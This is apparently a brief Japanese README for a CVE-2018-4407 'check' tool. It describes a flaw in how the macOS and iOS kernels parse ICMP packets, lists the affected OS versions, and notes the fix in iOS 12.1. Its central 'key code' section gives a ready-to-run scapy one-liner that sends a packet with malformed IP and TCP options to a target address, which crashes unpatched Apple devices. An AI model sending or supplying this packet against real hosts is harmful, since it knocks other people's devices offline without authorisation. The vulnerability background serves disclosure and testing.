check_icmp_dos-CVE-2018-4407-

原理

原理は、ICMPパケットの他のフィールドを不正な状態にすることで、macOSまたはiphoneのカーネルが解析する際にサイズチェックが実装されていないため、クラッシュを引き起こす。

デバイス

1. Apple iOS 11およびそれ以前のバージョン：すべてのデバイス
2. Apple macOS High Sierra（影響を受ける最高バージョンは10.13.6）：すべてのデバイス
3. Apple macOS Sierra（影響を受ける最高バージョンは10.12.6）：すべてのデバイス
4. Apple OS X El Capitanおよびそれ以前のバージョン：すべてのデバイス

Appleは10月30日にリリースした「iOS 12.1」アップデートパッケージでこの脆弱性を完全に修正しました。

重要なコード

pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

リンク

中文解說
英文解說